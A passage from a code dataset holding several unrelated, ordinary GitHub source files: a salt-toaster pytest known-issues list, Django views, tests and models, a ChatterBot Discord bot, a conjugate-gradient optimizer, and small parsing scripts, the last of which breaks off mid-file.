'utils/test_templates.py::RenderTestCase::test_render_genshi_evaluate',\n 'utils/test_templates.py::RenderTestCase::test_render_genshi_evaluate_condition',\n 'utils/test_templates.py::RenderTestCase::test_render_genshi_sanity',\n 'utils/test_templates.py::RenderTestCase::test_render_genshi_variable',\n 'utils/test_templates.py::RenderTestCase::test_render_genshi_variable_replace',\n 'utils/test_templates.py::RenderTestCase::test_render_mako_evaluate',\n 'utils/test_templates.py::RenderTestCase::test_render_mako_evaluate_multi',\n 'utils/test_templates.py::RenderTestCase::test_render_mako_sanity',\n 'utils/test_templates.py::RenderTestCase::test_render_mako_variable',\n\n # This produces a bad file descriptor error at the end of the testsuite, even if the tests passes\n 'utils/test_thin.py::SSHThinTestCase::test_gen_thin_compression_fallback_py3',\n\n # contain NO_MOCK which does not exist anymore (throws ImportError)\n 'cli/test_support.py',\n 'modules/test_saltsupport.py',\n 'utils/test_pkg.py',\n\n # duplicated test file, should be removed in favor of the one in tests/pytests/\n 'tests/unit/modules/test_ansiblegate.py',\n # has a broken test, adding it to xfail does not work because it conflicts with tests/unit/utils/test_thin.py\n 'pytests/unit/utils/test_thin.py',\n 'transport/test_zeromq.py', # Leaks memory on SLE15SP2\n 'transport/test_tcp.py',\n\n # Errors in 3003.3\n 'cloud/test_map.py'\n ],\n 'sles11sp4': [\n # SSLError: [Errno 1] _ssl.c:492: error:1409442E:SSL routines:SSL3_READ_BYTES:tlsv1 alert protocol version\n 'modules/random_org_test.py',\n 'states/test_saltutil.py',\n ],\n 'rhel6': [\n # SSLError: [Errno 1] _ssl.c:492: error:1409442E:SSL routines:SSL3_READ_BYTES:tlsv1 alert protocol version\n 'modules/random_org_test.py',\n 'states/test_saltutil.py',\n ],\n 'sles15': [\n 'utils/cache_mods/cache_mod.py',\n 'test_zypp_plugins.py',\n 'modules/test_yumpkg.py',\n ],\n },\n\n 'xfail_list': {\n 'common': [\n # fixed in saltstack/develop\n # https://github.com/saltstack/salt/commit/7427e192baeccfee69b4887fe0c630a1afb38730#diff-3b5d15bc59b82fc8d4b15f819babf4faR70\n 'test_core.py::CoreGrainsTestCase::test_parse_etc_os_release',\n 'test_core.py::CoreGrainsTestCase::test_fqdns_socket_error',\n 'test_x509.py::X509TestCase::test_private_func__parse_subject',\n 'test_zypper.py::ZypperTestCase::test_list_pkgs_with_attr',\n 'test_zfs.py::ZfsUtilsTestCase::test_property_data_zpool',\n\n 'templates/jinja_test.py::TestCustomExtensions::test_serialize_yaml_unicode',\n # not working in docker containers\n 'modules/cmdmod_test.py::CMDMODTestCase::test_run',\n 'conf_test.py::ConfTest::test_conf_cloud_maps_d_files_are_commented',\n 'conf_test.py::ConfTest::test_conf_cloud_profiles_d_files_are_commented',\n 'conf_test.py::ConfTest::test_conf_cloud_providers_d_files_are_commented',\n 'utils/extend_test.py::ExtendTestCase::test_run',\n 'beacons/glxinfo.py::GLXInfoBeaconTestCase::test_no_user',\n 'beacons/glxinfo.py::GLXInfoBeaconTestCase::test_non_dict_config',\n\n # Boto failing tests\n 'modules/boto_apigateway_test.py::BotoApiGatewayTestCaseBase::runTest',\n 'modules/boto_cloudwatch_event_test.py::BotoCloudWatchEventTestCaseBase::runTest',\n 'modules/boto_cognitoidentity_test.py::BotoCognitoIdentityTestCaseBase::runTest',\n 'modules/boto_elasticsearch_domain_test.py::BotoElasticsearchDomainTestCaseBase::runTest',\n 'states/boto_apigateway_test.py::BotoApiGatewayStateTestCaseBase::runTest',\n 'states/boto_cognitoidentity_test.py::BotoCognitoIdentityStateTestCaseBase::runTest',\n 'states/boto_elasticsearch_domain_test.py::BotoElasticsearchDomainStateTestCaseBase::runTest',\n\n 'modules/inspect_collector_test.py::InspectorCollectorTestCase::test_file_tree',\n '*CoreGrainsTestCase::test_linux_memdata',\n 'EtcdModTestCase',\n 'ConfTest::test_conf_master_sample_is_commented', # this is not passing because we have custom config by default (user \"salt\")\n 'test_cmdmod.py::CMDMODTestCase::test_run',\n\n 'fileserver/test_roots.py::RootsTest::test_symlink_list',\n 'modules/test_cmdmod.py::CMDMODTestCase::test_run', # test too slow\n '*test_reactor.py::TestReactor::test_reactions',\n '*test_reactor.py::TestReactor::test_list_reactors',\n '*test_yumpkg.py::YumTestCase::test_list_pkgs_with_attr',\n '*test_local_cache.py::Local_CacheTest::test_clean_old_jobs',\n '*test_local_cache.py::Local_CacheTest::test_not_clean_new_jobs',\n '*test_jinja.py::TestCustomExtensions::test_http_query',\n '*test_conf.py::ConfTest::test_conf_master_sample_is_commented',\n\n # After switch to M2Crypto\n 'modules/test_x509.py::X509TestCase::test_create_crl', # No OpenSSL available\n 'modules/test_x509.py::X509TestCase::test_revoke_certificate_with_crl', # No OpenSSL available\n\n # Fails due to the async batch changes\n 'transport/test_ipc.py::IPCMessagePubSubCase::test_multi_client_reading',\n\n # Needs investigation. Setting them to xfail to have a \"new green start\" on March 12th\n # https://github.com/SUSE/spacewalk/issues/14263\n 'utils/test_jinja.py::TestCustomExtensions::test_json_query',\n 'utils/test_data.py::DataTestCase::test_json_query',\n 'states/test_syslog_ng.py::SyslogNGTestCase::test_started_state_generate_valid_cli_command',\n 'states/test_pip_state.py::PipStateTest::test_install_requirements_parsing',\n 'states/test_network.py::NetworkTestCase::test_managed',\n 'modules/test_zypperpkg.py::ZypperTestCase::test_upgrade_success',\n 'modules/test_zypperpkg.py::ZypperTestCase::test_search_not_found',\n 'modules/test_zypperpkg.py::ZypperTestCase::test_add_repo_key_path',\n 'modules/test_state.py::StateTestCase::test_show_sls',\n 'modules/test_serverdensity_device.py::ServerdensityDeviceTestCase::test_create',\n 'modules/test_redismod.py::RedismodTestCase::test_shutdown',\n 'modules/test_redismod.py::RedismodTestCase::test_ping',\n 'modules/test_netscaler.py::NetscalerTestCase::test_service_enable',\n 'modules/test_netscaler.py::NetscalerTestCase::test_service_disable',\n 'modules/test_keystone.py::KeystoneTestCase::test_user_get',\n 'modules/test_keystone.py::KeystoneTestCase::test_user_create',\n 'modules/test_keystone.py::KeystoneTestCase::test_tenant_get',\n 'modules/test_keystone.py::KeystoneTestCase::test_tenant_create',\n 'modules/test_keystone.py::KeystoneTestCase::test_role_get',\n 'modules/test_dpkg_lowpkg.py::DpkgTestCase::test_info',\n 'modules/test_cron.py::PsTestCase::test_list_tab',\n 'modules/test_aptpkg.py::AptPkgTestCase::test_info_installed_attr_without_status',\n 'grains/test_core.py::CoreGrainsTestCase::test_fqdn_return',\n 'grains/test_core.py::CoreGrainsTestCase::test_fqdn4_empty',\n 'cloud/clouds/test_ec2.py::EC2TestCase::test_termination_protection_exception',\n 'cloud/clouds/test_ec2.py::EC2TestCase::test_termination_protection',\n 'cli/test_batch_async.py::AsyncBatchTestCase::test_batch_start_on_gather_job_timeout',\n 'cli/test_batch_async.py::AsyncBatchTestCase::test_batch_start_on_batch_presence_ping_timeout',\n 'cli/test_batch_async.py::AsyncBatchTestCase::test_batch_next',\n 'cli/test_batch_async.py::AsyncBatchTestCase::test_batch_close_safe',\n 'cli/test_batch_async.py::AsyncBatchTestCase::test_batch__del__',\n 'beacons/test_cert_info.py::CertInfoBeaconTestCase::test_cert_information',\n # These also need investigation, setting to xfail for a green start for 3002.2\n 'test_ext.py::VendorTornadoTest::test_vendored_tornado_import',\n 'test_loader.py::LoaderGlobalsTest::test_auth',\n 'test_loader.py::LoaderGlobalsTest::test_outputters',\n 'test_loader.py::LoaderGlobalsTest::test_pillars',\n 'test_loader.py::LoaderGlobalsTest::test_renderers',\n 'test_loader.py::LoaderGlobalsTest::test_returners',\n 'test_loader.py::LoaderGlobalsTest::test_runners',\n 'test_loader.py::LoaderGlobalsTest::test_serializers',\n 'test_loader.py::LoaderGlobalsTest::test_tops',\n 'grains/test_core.py::CoreGrainsTestCase::test_core_virtual_invalid',\n 'grains/test_core.py::CoreGrainsTestCase::test_core_virtual_unicode',\n 'grains/test_core.py::CoreGrainsTestCase::test_get_server_id',\n 'modules/test_aptpkg.py::AptPkgTestCase::test_add_repo_key_failed',\n 'modules/test_aptpkg.py::AptPkgTestCase::test_list_repos',\n 'modules/test_parted_partition.py::PartedTestCase::test__is_fstype',\n 'modules/test_parted_partition.py::PartedTestCase::test_mkpartfs_to_mkpart',\n 'modules/test_zypperpkg.py::ZypperTestCase::test_list_pkgs_with_attr',\n 'utils/test_vmware.py::PrivateGetServiceInstanceTestCase::test_second_attempt_successful_connection',\n 'utils/test_vmware.py::PrivateGetServiceInstanceTestCase::test_third_attempt_successful_connection',\n 'utils/test_vmware.py::GetServiceInstanceTestCase::test_default_params',\n 'utils/test_vmware.py::GetServiceInstanceTestCase::test_no_cached_service_instance_same_host_on_proxy',\n 'utils/test_vmware.py::GetServiceInstanceTestCase::test_uncached_service_instance',\n 'pytests/unit/modules/test_ansiblegate.py::test_ansible_module_call',\n\n # Failing on 3003.3\n 'beacons/test_telegram_bot_msg.py::TelegramBotMsgBeaconTestCase::test_call_no_updates',\n 'beacons/test_telegram_bot_msg.py::TelegramBotMsgBeaconTestCase::test_call_telegram_return_no_updates_for_user',\n 'beacons/test_telegram_bot_msg.py::TelegramBotMsgBeaconTestCase::test_call_telegram_returning_updates',\n 'modules/test_junos.py::Test_Junos_Module::test_get_table_api_error',\n 'modules/test_junos.py::Test_Junos_Module::test_get_table_connect_closed_error',\n 'modules/test_junos.py::Test_Junos_Module::test_get_table_inventory',\n 'modules/test_junos.py::Test_Junos_Module::test_get_table_no_path_inventory',\n 'modules/test_zcbuildout.py::BuildoutTestCase::test_get_bootstrap_url',\n 'modules/test_zcbuildout.py::BuildoutTestCase::test_get_buildout_ver',\n 'modules/test_zfs.py::ZfsTestCase::test_bookmark_success',\n 'modules/test_aptpkg.py::AptPkgTestCase::test_expand_repo_def',\n 'modules/test_cmdmod.py::test_run_cwd_in_combination_with_runas', # Fails on docker container\n 'states/test_pkgrepo.py::test_migrated_wrong_method',\n ],\n 'sles12sp1': [\n 'cloud/clouds/dimensiondata_test.py::DimensionDataTestCase::test_avail_sizes',\n ],\n 'sles12sp2': [\n 'cloud/clouds/dimensiondata_test.py::DimensionDataTestCase::test_avail_sizes',\n ],\n '2016.11.4': [\n '*network_test.py::NetworkTestCase::test_host_to_ips',\n ],\n 'sles15': [\n 'utils/test_args.py::ArgsTestCase::test_argspec_report', # Bad tests, fixed at https://github.com/saltstack/salt/pull/52852\n ],\n 'ubuntu1604': [\n 'utils/test_args.py::ArgsTestCase::test_argspec_report', # Bad tests, fixed at https://github.com/saltstack/salt/pull/52852\n # Needs investigation. Setting them to xfail to have a \"new green start\" on March 19th\n # https://github.com/SUSE/spacewalk/issues/14263\n 'modules/test_saltsupport.py::SaltSupportModuleTestCase::test_sync_specified_archive_not_found_failure',\n 'modules/test_saltsupport.py::SaltSupportModuleTestCase::test_sync_last_picked_archive_not_found_failure',\n 'modules/test_aptpkg.py::AptPkgTestCase::test_add_repo_key_failed',\n 'cli/test_support.py::ProfileIntegrityTestCase::test_users_template_profile',\n 'cli/test_support.py::ProfileIntegrityTestCase::test_non_template_profiles_parseable',\n 'cli/test_support.py::ProfileIntegrityTestCase::test_jobs_trace_template_profile',\n 'transport/test_zeromq.py::PubServerChannel::test_issue_36469_tcp',\n ],\n 'ubuntu1804': [\n 'utils/test_args.py::ArgsTestCase::test_argspec_report', # Bad tests, fixed at https://github.com/saltstack/salt/pull/52852\n # Needs investigation. Setting them to xfail to have a \"new green start\" on March 19th\n # https://github.com/SUSE/spacewalk/issues/14263\n 'modules/test_saltsupport.py::SaltSupportModuleTestCase::test_sync_specified_archive_not_found_failure',\n 'modules/test_saltsupport.py::SaltSupportModuleTestCase::test_sync_last_picked_archive_not_found_failure',\n 'modules/test_aptpkg.py::AptPkgTestCase::test_add_repo_key_failed',\n 'cli/test_support.py::ProfileIntegrityTestCase::test_users_template_profile',\n 'cli/test_support.py::ProfileIntegrityTestCase::test_non_template_profiles_parseable',\n 'cli/test_support.py::ProfileIntegrityTestCase::test_jobs_trace_template_profile',\n # These also need investigation, setting to xfail for a green start for 3002.2\n 'transport/test_tcp.py::ClearReqTestCases::test_badload',\n 'transport/test_tcp.py::ClearReqTestCases::test_basic',\n 'transport/test_tcp.py::ClearReqTestCases::test_normalization',\n 'transport/test_tcp.py::AESReqTestCases::test_basic',\n 'transport/test_tcp.py::AESReqTestCases::test_normalization',\n 'transport/test_zeromq.py::ClearReqTestCases::test_badload',\n 'transport/test_zeromq.py::ClearReqTestCases::test_basic',\n 'transport/test_zeromq.py::ClearReqTestCases::test_normalization',\n ],\n # ip_addrs() needs to be mocked for deterministic tests\n \"opensuse151\": ['pytests/unit/utils/test_minions.py'],\n \"opensuse152\": ['pytests/unit/utils/test_minions.py'],\n \"opensuse153\": ['pytests/unit/utils/test_minions.py'],\n }\n}\n\n\nKNOWN_ISSUES = {\n 'integration': KNOWN_ISSUES_INTEGRATION,\n 'unit': KNOWN_ISSUES_UNIT\n}\n\n\ndef get_list(config, name):\n version = os.environ.get('DISTRO')\n flavor = os.environ.get('FLAVOR')\n tests_type = config.getini('tests_type')\n assert name in ['ignore_list', 'xfail_list']\n result = (\n KNOWN_ISSUES[tests_type][name].get('common', []) +\n KNOWN_ISSUES[tests_type][name].get(flavor, []) +\n KNOWN_ISSUES[tests_type][name].get(version, []) +\n KNOWN_ISSUES[tests_type][name].get(\n '{0}/{1}'.format(version, flavor), []) +\n KNOWN_ISSUES[tests_type][name].get(\n '{0}/{1}'.format(version, config.salt_version), []) +\n KNOWN_ISSUES[tests_type][name].get(config.salt_version, [])\n )\n return ['*%s*' % it for it in result]\n\n\ndef pytest_ignore_collect(path, config):\n return any(map(path.fnmatch, config.ignore_list))\n\n\ndef pytest_itemcollected(item):\n matcher = partial(fnmatch, item.nodeid)\n if any(map(matcher, item.config.xfail_list)):\n item.add_marker(pytest.mark.xfail, \"Xfailed by toaster\")\n elif any(map(matcher, item.config.ignore_list)):\n item.add_marker(pytest.mark.skip, \"Ignore by toaster\")\n","repo_name":"openSUSE/salt-toaster","sub_path":"conftest_source_nox.py","file_name":"conftest_source_nox.py","file_ext":"py","file_size_in_byte":79795,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"19"} +{"seq_id":"71401747565","text":"\"\"\"\r\nProgram: receiversservereception\\views.py\r\nAuthor: River Deters\r\nLast date modified: 07/28/2023\r\n\r\n\"\"\"\r\n\r\nfrom django.shortcuts import render\r\n\r\n# Create your views here.\r\n\r\n# from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\r\n# from matplotlib.figure import Figure\r\nimport sqlite3\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom io import BytesIO\r\nimport base64\r\n\r\n\r\ndef create_plot():\r\n # Establish a connection to the database\r\n conn = sqlite3.connect(\"2020_mens_vnl.db\")\r\n\r\n # Write a SQL query to fetch data from database\r\n df = pd.read_sql_query(\"SELECT * FROM Receivers\", conn)\r\n\r\n # Close the connection\r\n conn.close()\r\n\r\n # Replace empty strings with NaN\r\n df[\"serve_reception\"].replace(\"\", np.nan, inplace=True)\r\n\r\n # Replace NaN with 0\r\n df[\"serve_reception\"].fillna(0, inplace=True)\r\n\r\n # Convert \"serve_reception\" column to integers\r\n df[\"serve_reception\"] = df[\"serve_reception\"].astype(int)\r\n\r\n # Group the data by team and sum up the 'serve_reception' for each team\r\n grouped = df.groupby('team')['serve_reception'].sum()\r\n\r\n # Define a function to show actual values\r\n def absolute_val(val):\r\n a = np.round(val / 100. * grouped.sum(), 0)\r\n return int(a)\r\n\r\n # Plot a pie chart\r\n plt.figure(figsize=(10, 6))\r\n patches, texts, autotexts = plt.pie(grouped, labels=grouped.index, autopct=absolute_val, textprops={'fontsize': 10})\r\n\r\n # To rotate the labels to 45 degrees and bold them\r\n for text in texts:\r\n text.set_rotation(45)\r\n for autotext in autotexts:\r\n autotext.set_weight('bold')\r\n\r\n plt.title('Total Serve Receptions Per Team')\r\n\r\n # Convert the plot figure to a PNG image string\r\n buf = BytesIO()\r\n plt.savefig(buf, format='png')\r\n image_base64 = base64.b64encode(buf.getvalue()).decode('utf-8')\r\n\r\n return image_base64\r\n\r\n\r\ndef receiversservereception_view(request):\r\n plot = create_plot()\r\n return render(request, 'receiversservereception/index.html', {'plot': plot})\r\n","repo_name":"rddeters/CIS289","sub_path":"receiversservereception/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22732568971","text":"import discord\nfrom chatterbot import ChatBot\nfrom chatterbot.trainers import ChatterBotCorpusTrainer\n\n# Create a new chat bot\nbot = ChatBot(\"My Chat Bot\")\n\n# Create a trainer for the bot\ntrainer = ChatterBotCorpusTrainer(bot)\n\n# Train the bot on a selection of English language corpora\ntrainer.train(\"chatterbot.corpus.english.greetings\",\n \"chatterbot.corpus.english.conversations\")\n\n# Initialize the Discord client\nclient = discord.Client()\n\n@client.event\nasync def on_message(message):\n # If the message was sent by the bot, ignore it\n if message.author == client.user:\n return\n\n # Get the response from the chat bot\n response = bot.get_response(message.content)\n\n # Send the response to the channel\n await message.channel.send(response)\n\n# Run the Discord client\nclient.run(\"YOUR_DISCORD_BOT_TOKEN\")\n","repo_name":"nishchaysinha/DiscordChatBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"3173923292","text":"\"\"\"\nimports\n\"\"\"\nfrom .RootCmd import RootCmd\nfrom ..downloader.update import update\n\nfrom ..helpers.logging_helper import logging_helper\nfrom ..helpers.argument_helper import argument_helper\n\nclass CmdUpdate(RootCmd):\n \"\"\"\n command for fetching updates to the releases plist\n \"\"\"\n\n @classmethod\n def usage(cls):\n \"\"\"\n command usage\n \"\"\"\n return {\n 'name': 'update',\n 'args': '',\n 'desc': 'updates the current open source manifests'\n }\n\n @classmethod\n def action(cls, args):\n \"\"\"\n calls to perform the update\n \"\"\"\n update.fetch()\n print('====================')\n\n @classmethod\n def process_do(cls, line_text, context):\n ret_val = None\n arguments = argument_helper.parse(line_text)\n result = cls.query(arguments)\n if result[0] == True:\n cls.action(context)\n else:\n ret_val = 'Fatal error, cannot update!'\n logging_helper.getLogger().error(ret_val)\n return ret_val","repo_name":"samdmarshall/AOS-Downloader","sub_path":"aosd/commandparse/CmdUpdate.py","file_name":"CmdUpdate.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"19"} +{"seq_id":"70843865324","text":"import pytest\n\npytestmark = [pytest.mark.django_db]\n\n\n@pytest.fixture\ndef course(course):\n course.update_from_kwargs(\n welcome_letter_template_id='tpl100500',\n gift_welcome_letter_template_id='tpl100500-gift',\n )\n course.save()\n\n return course\n\n\ndef test_the_message_is_sent_to_right_email(send_mail, shipment, user):\n shipment()()\n\n send_mail.assert_called_once()\n\n assert send_mail.call_args[1]['to'] == user.email\n\n\ndef test_the_message_is_sent_with_right_template_id(send_mail, shipment):\n shipment()()\n\n assert send_mail.call_args[1]['template_id'] == 'tpl100500'\n\n\ndef test_gifted_order_template_id_is_used_when_present(send_mail, shipment, gifted_order):\n shipment(order=gifted_order)()\n\n assert send_mail.call_args[1]['template_id'] == 'tpl100500-gift'\n\n\n@pytest.mark.parametrize('empty_template_id', ['', None])\ndef test_the_default_template_id_used_used_with_gifted_order_but_without_gift_template_id(send_mail, shipment, gifted_order, empty_template_id):\n shipment = shipment(order=gifted_order)\n shipment.course.setattr_and_save('gift_welcome_letter_template_id', empty_template_id)\n\n shipment()\n\n assert send_mail.call_args[1]['template_id'] == 'tpl100500'\n\n\n@pytest.mark.parametrize('template_id', [\n None,\n '',\n])\ndef test_the_message_is_not_sent_when_there_is_no_template_id(send_mail, shipment, template_id):\n shipment = shipment()\n shipment.course.setattr_and_save('welcome_letter_template_id', template_id)\n\n send_mail.assert_not_called()\n\n\ndef test_antispam_is_disabled(send_mail, shipment, user):\n shipment()()\n\n send_mail.assert_called_once()\n\n assert send_mail.call_args[1]['disable_antispam'] is True\n","repo_name":"Fan0011/DJ_education","sub_path":"src/studying/tests/course_shipment/tests_course_shipment_welcome_letter.py","file_name":"tests_course_shipment_welcome_letter.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74584760362","text":"#Librerias\r\n\r\nfrom sympy import *\r\nimport numpy as np\r\nimport random\r\nimport math\r\nfrom operator import add\r\nfrom sympy.printing import gtk\r\nfrom matplotlib import pyplot as plt \r\n\r\n#symbolic\r\nx = Symbol(\"x\")\r\ny = Symbol(\"y\")\r\n\r\n#variables\r\nvars = (x, y)\r\n\r\n# metodo para la obtencion del gradiente\r\ndef gradient(f, vars):\r\n grad = []\r\n #por cada variable presente se ejecuta\r\n for var in vars:\r\n grad.append(f.diff(var)) #se crea un solo valor\r\n return np.array(grad) # array de gradientes\r\n\r\n#Entradas\r\n#\r\n#f --> funcion \r\n#vars --> variables\r\n#xk --> valores iniciales\r\n#tol --> tolerancia\r\n#iterMax --> iteraciones maximas\r\n\r\n# xk es, vars son np array\r\n\r\ndef gradiente(f, vars, xk, tol, iterMax):\r\n\r\n#Almacenamiento de los valores para la gráfica\r\n iteraStore=[] #numero de iteraciones\r\n errorStore=[] #errores\r\n\r\n#labels de la grafica\r\n plt.ylabel(\"Error\") #eje y\r\n plt.xlabel(\"Iteraciones\") # eje x\r\n plt.suptitle(f) #el título de la gráfica es la función\r\n\r\n alpha = 1\r\n #gradiente\r\n grad = gradient(f, vars)\r\n #gradiente vector\r\n gk = Subs(grad, vars, xk).doit()\r\n #direccion\r\n d = -gk\r\n delta = 0.5 # random.random()\r\n #norma de la funcion\r\n def norm(x): return sqrt(sum(pow(np.array(x), 2))).evalf()\r\n\r\n for i in range(iterMax):\r\n l = xk+(alpha*d)\r\n alpha = 1\r\n while True:\r\n #reducir el valor de alpha\r\n alpha = alpha/2\r\n #creacion de los intervalos\r\n izq = Subs(f, vars, xk+(alpha*d)).doit() - Subs(f, vars, xk).doit()\r\n der = delta*alpha * np.dot(np.array(gk), np.array(d))\r\n #condicion para reducir el alpha\r\n if (izq <= der):\r\n break\r\n #formulas del GCNL\r\n xk1 = xk+alpha*Subs(d, vars, xk).doit()\r\n gk = Subs(grad, vars, xk).doit()\r\n gk1 = Subs(grad, vars, xk1).doit()\r\n norm1 = norm(gk1)\r\n norm0 = norm(gk)\r\n beta = (norm1**2)/(norm0**2)\r\n\r\n if norm(gk).evalf() <= tol:\r\n return xk\r\n\r\n xk = xk1\r\n d = -gk1+beta*d\r\n #norma del gradiente de la funcion\r\n gk = gk1\r\n\r\n # se almacenanan los valores para graficar\r\n iteraStore.append(i)\r\n errorStore.append(norm0)\r\n\r\n #impresion de los valores\r\n print (\"aproximacion\",xk1)\r\n print (\"error\",norm0)\r\n \r\n # impresion de la gráfica\r\n plt.plot(iteraStore,errorStore,\"r\")\r\n plt.show()\r\n return xk\r\n\r\n#Salidas\r\n# xk --> valor de la aproximacion\r\n# gk --> valor del error\r\n# grafica error vs iteracion\r\n\r\n\r\n#Ejemplo tomado de las presentaciones\r\ngradiente((x-2)**4+(x-2*y)**2, np.array([x, y]), np.array([0, 3]), 10**-8, 13)\r\n","repo_name":"FranciscoJSB/Numercial-Analysis","sub_path":"gradiente.py","file_name":"gradiente.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7666634777","text":"def populate_dictionary(definition_file):\n # complete the body of the function. do not use methods read\n # or readlines, and do not use for loops. instead, use while and\n # method readline. (9 MARKS)\n ''' (file open for reading) -> dict of {str: list of str}\n \n Preconditions:\n - definition_file contains 0 or more entries with the following format:\n - 1 line containing a word\n - 0 or more lines with a definition of that word (one definition per line)\n - there will be one blank line between entries\n \n Return a dictionary where each key is a word and each value is the list of\n definitions of that word from definition_file. Even if a word has 0 definitions,\n it should appear as a key in the dictionary.\n '''\n \n # dictionary = {}\n # line = definition_file.readline().strip()\n # while line != '':\n # if len(line.split()) == 1:\n # word = line.strip()\n # dictionary[word] = []\n # line = definition_file.readline()\n # while len(line.split()) != 1:\n # dictionary[word].append(line)\n # line = definition_file.readline()\n # return dictionary\n \n word_to_definitions = {}\n word = definition_file.readline().strip()\n \n while (word!= ''):\n word_to_definitions[word] = []\n definition = definition_file.readline().strip()\n while (definition != ''):\n word_to_definitions[word].append(definition)\n definition = definition_file.readline().strip()\n word = definition_file.readline().strip()\n return word_to_definitions\n","repo_name":"mdnu/snake","sub_path":"csc work/final/w14/Q9.py","file_name":"Q9.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"609489893","text":"from dataclasses import dataclass\n@dataclass\nclass Block:\n id: int\n weight: float\n\n def __eq__(self, other):\n if self.id == other.id:\n return True\n return False\n\nb1 = Block(1, 10.0)\nb2 = Block(2, 5.0)\nb3 = Block(3, 2.5)\nb4 = Block(4, 1.0)\nb5 = Block(5, 0.5)\n\nblocks = [b1, b2, b3, b4, b5]","repo_name":"TeTo16/tia_p1","sub_path":"Block.py","file_name":"Block.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24908534105","text":"# Katie Simon\n# Original text file downloaded from: http://ope.ed.gov/accreditation/GetDownloadFile.aspx\n\ndef main():\n\n source_file = 'Accreditation_2014_06.txt'\n target_file = 'jobs_US_univ_scrubbed.csv'\n s = open(source_file,'rU')\n t = open(target_file,'w')\n\n i = 0\n y = 0\n \n institution_ids = []\n\n for line in s:\n \n d = line.rstrip('\\n')\n x = d[:11]\n values = d.split('\\t')\n\n inst_id = d[:6]\n school_name = values[1]\n \n if ((x.upper() == 'INSTITUTION') and (y == 0)):\n y = 1\n i += 1\n\n elif ((inst_id.isdigit()) and (inst_id not in institution_ids) and (y == 1)):\n \n if (school_name[0] == '\"') or (school_name[0] == \"'\"):\n school_name = school_name[1:-1]\n \n new_line = ''\n new_line += inst_id + ',' + school_name + '\\n'\n t.write(new_line)\n\n institution_ids.append(inst_id)\n i += 1\n\n else:\n continue\n\n \n s.close()\n t.close()\n print( \"\\nFile created. %d records written. \" % (i) )\n\nmain()\n","repo_name":"katiewsimon/Cruiton-Hiring-Dashboard","sub_path":"jobs_US_univ_scrub.py","file_name":"jobs_US_univ_scrub.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"33116638705","text":"import urlparse\nfrom django.db import models\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\n\n\nclass Place(models.Model):\n '''\n A place to check in to.\n\n '''\n # The id of this place as returned by the Google Places API\n id = models.TextField(primary_key=True)\n name = models.TextField()\n description = models.TextField()\n\n # Location info\n lat = models.FloatField()\n lon = models.FloatField()\n\n # A URL to the icon to be displayed for this place, as\n # returned by the Google Places API.\n icon = models.URLField()\n \n # The lat/lon of the North-East corner of this place's viewport\n viewport_ne_lat = models.FloatField(null=True)\n viewport_ne_lon = models.FloatField(null=True)\n\n # The lat/lon of the South-West corner of this place's viewport\n viewport_sw_lat = models.FloatField(null=True)\n viewport_sw_lon = models.FloatField(null=True)\n\n def people(self):\n '''\n Return a list(like object) of profiles of users in this place.\n\n '''\n return self.userprofile_set.all()\n\n def viewport(self):\n '''\n Get the viewport for this place.\n\n '''\n viewport_given = (self.viewport_ne_lat is None or\n self.viewport_ne_lon is None or\n self.viewport_sw_lat is None or \n self.viewport_sw_lon is None)\n if viewport_given:\n return {\n 'northeast': {\n 'lat': self.viewport_ne_lat,\n 'lon': self.viewport_ne_lon\n },\n 'southwest': {\n 'lat': self.viewport_sw_lat,\n 'lon': self.viewport_sw_lon\n }\n }\n\n return None\n\n def __unicode__(self):\n return self.name\n\n def __contains__(self, location):\n '''\n Check if ``location`` falls within this place. ``location`` is a \n tuple of the form (lat, lon)\n\n Usage:\n\n if (41.55, 77.34) in place:\n ...\n\n '''\n if self.viewport() is None:\n # If we were not given a viewport, just check for exact equality\n return location == (self.lat, self.lon)\n lat, lon = location\n # This approximates the situation ignoring geodesic geometry; Should\n # be good enough for most places worth checking in, but might fail\n # when dealing with HUGE places.\n return (self.viewport_sw_lat <= lat <= self.viewport_ne_lat and\n self.viewport_sw_lon <= lon <= self.viewport_ne_lon)\n\n def to_dict(self):\n '''\n Return a dictionary representation of this place.\n\n '''\n return {\n 'id': self.id,\n 'name': self.name,\n 'description': self.description,\n 'location': {\n 'lat': self.lat,\n 'lon': self.lon\n },\n 'icon': self.icon\n }\n\n def serialize(self, detailed=False):\n '''\n Return a JSON encodable Python representation.\n \n '''\n ret = {\n 'id': self.id,\n 'name': self.name,\n 'description': self.description,\n 'icon': self.icon\n }\n\n # Insert the lat and lon for a detailed repr\n if detailed: \n ret['location'] = {'lat': self.lat, 'lon': self.lon}\n\n return ret\n\n\nclass Interest(models.Model):\n '''\n A user interest.\n\n '''\n name = models.TextField()\n\n def serialize(self, detailed=False):\n '''\n Return a JSON encodable Python representation.\n \n '''\n return {'id': self.id, 'name': self.name}\n\n\nclass UserProfile(models.Model):\n '''\n Information about a user apart from their login creds.\n\n '''\n user = models.OneToOneField(User, primary_key=True)\n\n # A short bio.\n bio = models.CharField(max_length=120, blank=True)\n\n # Other user profiles this user profile is connected to.\n connections = models.ManyToManyField('self', null=True, blank=True)\n\n current_location = models.ForeignKey(Place, null=True, blank=True)\n\n interests = 